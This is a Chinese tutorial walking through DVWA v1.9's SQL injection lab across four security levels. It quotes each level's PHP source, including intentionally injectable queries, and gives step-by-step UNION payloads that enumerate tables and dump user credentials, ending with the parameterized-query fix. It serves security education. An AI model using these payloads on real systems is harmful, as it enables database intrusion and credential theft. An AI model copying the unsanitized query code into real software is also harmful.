DVWA V1.9：SQL Injection（SQL注入）

SQL Injection 介绍

SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。
成功的SQL注入漏洞可以从数据库读取敏感数据，修改数据库数据（插入/更新/删除），在数据库上执行管理操作（例如关闭DBMS），恢复DBMS文件系统（Load文件）上给定文件的内容，并且在某些情况下向操作系统发出命令。

SQL注入攻击是一种类型的注入攻击，其中SQL命令被注入到数据平面输入中，以便执行预定义的SQL命令。

手工注入思路

1.	判断是否存在注入，注入是字符型还是数字型
2.	猜解SQL查询语句中的字段数
3.	确定显示的字段顺序
4.	获取当前数据库
5.	获取数据库中的表
6.	获取表中的字段名
7.	下载数据

Low 级别

核心代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

可以看到，Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤，存在明显的SQL注入。

官方提示

SQL查询使用由攻击者直接控制的原始输入。
他们需要做的就是逃避查询，然后他们能够执行他们希望的任何SQL查询。

Spoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit.

漏洞利用

现实攻击场景下，攻击者是无法看到后端代码的，所以下面的手工注入步骤是建立在无法看到源码的基础上。

1.判断是否存在注入，注入是字符型还是数字型
输入1，查询成功：

输入1’and ‘1’ =’2，查询失败，返回结果为空：

输入1’or ‘1’=’1，查询成功：

说明存在字符型注入。

2.猜解SQL查询语句中的字段数
输入1′ or 1=1 order by 1 #，查询成功：

输入1′ or 1=1 order by 2 #，查询成功：

输入1′ or 1=1 order by 3 #，查询失败：

说明执行的SQL查询语句中只有两个字段，即这里的First name、Surname。
（这里也可以通过输入union select 1,2,3…来猜解字段数）

3.确定显示的字段顺序
输入1′ union select 1,2 #，查询成功：

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

4.获取当前数据库
输入1′ union select 1,database() #，查询成功：

说明当前的数据库为dvwa。

5.获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查询成功：

说明数据库dvwa中一共有两个表，guestbook与users。

6.获取表中的字段名
输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #，查询成功：

说明users表中有8个字段，分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下载数据
输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查询成功：

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

Medium 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

可以看到，Medium级别的代码利用mysql_real_escape_string函数对特殊符号。
\x00,\n,\r,,’,”,\x1a进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。

官方提示

中等级别使用SQL注入保护的形式，具有“MySQL LealReleSwiteScript（）但是，由于SQL查询没有引用参数，这将不能完全保护查询不被更改。

文本框已被预定义的下拉列表替换，并使用POST提交表单。

Spoiler: ?id=a UNION SELECT 1,2;-- -&Submit=Submit.

漏洞利用

虽然前端使用了下拉选择菜单，但我们依然可以通过抓包改参数，提交恶意构造的查询参数。

参数形式和上面一致，就不复述了。

High 级别

核心代码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

可以看到，与Medium级别的代码相比，High级别的只是在SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。

官方提示

这与低级别非常类似，但是这次攻击者以不同的方式输入值。
输入值通过使用另一个页面的会话变量传递给脆弱的查询，而不是直接的GET请求。

Spoiler: ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit.

漏洞利用

虽然添加了LIMIT 1，但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样，直接最后一步演示下载数据。

1' or '1'='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

需要特别提到的是，High级别的查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，这样做的目的是为了防止一般的sqlmap注入，
因为sqlmap在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，也就没办法进一步注入。

Impossible 级别

核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到，Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，同时只有返回的查询结果数量为一时，才会成功输出，这样就有效预防了“脱裤”，Anti-CSRFtoken机制的加入了进一步提高了安全性。

官方提示

查询现在是参数化查询（而不是动态查询）。
这意味着查询已由开发人员定义，并区分哪些区段是代码，其余部分是数据。

参考链接：
新手指南：DVWA-1.9全级别教程之SQL Injection